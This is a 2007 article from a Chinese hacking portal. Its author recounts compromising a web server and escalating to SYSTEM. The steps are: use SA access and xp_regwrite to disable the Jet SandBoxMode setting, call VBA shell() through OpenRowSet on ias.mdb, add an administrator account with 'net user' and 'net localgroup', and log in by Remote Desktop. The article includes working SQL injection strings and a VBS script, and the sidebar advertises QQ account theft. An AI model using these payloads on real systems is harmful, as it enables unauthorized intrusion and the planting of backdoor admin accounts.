设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 入侵技术 -> 文章内容 [站内搜索]  

 
“沙盒”提权
作者:佚名  来源:本站整理  发布时间:2007-11-8 10:11:09  发布人:www.hack86.com
 

动易出新洞

找到了后台密码,得到shell

su端口被改,没别的途径

数据库连接帐号是SA,执行命令的存储过程无效(自己上传了dll文件恢复了xp_cmdshell也没用,OA_create和Job也试了,执行命令无回显)

本欲放弃,想起前辈的一句话:“得到了SA拿不到system权限是水平问题”(这句话有争议哦)

于是仔细想了下,不能执行命令,还有读和写文件的超级权限,而且注册表的读和写权限也是有的

因此前辈的话非常有道理,有了这些权限,仅仅是不能执行命令就放弃,太划不来了。

想起一个沙盒的故事,那是很早以前,kevin1986还没退出这个圈子,神秘兮兮的在卖一个工具,说是MDB注射时可以拿到system权限的工具,价钱不绯

大约一年后,这个真相终于被人公布了,引用一篇文章如下:

调用特殊函数实现SQL注入
首先我在<Jet引擎可以调用VBA的shell()函数>(http://support.microsoft.com/kb/q239104/)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:

Select shell(’c:\windows\system32\cmd.exe /c net user ray 123 /ad’);

查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)

运行后会出现"表达式中的’Shell’函数未定义"的错误,<Jet引擎可以调用VBA的shell()函数>提到WINDOWS在Jet 引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\ Jet\4.0\Engine\SandBoxMode里,0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access 的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了系统命令.


通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下


exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value


如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句

InjectionURL;EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0\Engine’,’SandBoxMode’,’REG_DWORD’,’0’--

那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个Access数据库,位置在%windir%\ system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb,这样一来我们又可以利用 OpenRowSet函数构造出如下注入语句:

InjectionURL’;Select * From OpenRowSet(’Microsoft.Jet.OLEDB.4.0’,’;Database=c:\winnt\system32\ias\ias.mdb’,’select shell("net user ray 123 /ad")’);--


如果你觉得不大好懂的话,我可以给你做一个简化的理解:

1,Access可以调用VBS的函数,以System权限执行任意命令

2,Access执行这个命令是有条件的,需要一个开关被打开

3,这个开关在注册表里

4,SA是有权限写注册表的

5,用SA写注册表的权限打开那个开关

6,调用Access里的执行命令方法,以system权限执行任意命令

所以,今天我使用HDSI的执行SQL命令,执行了以下命令:

EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0

Select * From OpenRowSet(’Microsoft.Jet.OLEDB.4.0’,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell("net user zyQQ 123 /add")’);

Select * From OpenRowSet(’Microsoft.Jet.OLEDB.4.0’,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell("net localgroup administrators zyQQ /add")’);

最后,用这个新加上的用户,成功登陆3389!  

 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

 

 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
18岁少女欲6000元卖处女身 救患血..
QQ密码本地破解的原理和方法
8款QQ空间免费开场动画
倾情推出QQ空间互踩联盟(免费加入..
 
QQ空间非主流模块-----何处不伤悲.. 11-13
“沙盒”提权 11-08
SQL Server SA空口令的渗透测试日.. 11-08
三款工具助您将 Firefox 浏览器变.. 11-08
实用电脑提速方案 11-08
补丁批量快速下载:迅雷系统漏洞.. 11-08
一次简单的html injection导致的.. 11-08
关于自己试用各类防火墙的感想(2.. 11-08
QQ空间大模块----静静的等你说爱.. 11-08
QQ空间大模块----你一点点的微笑.. 11-08
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com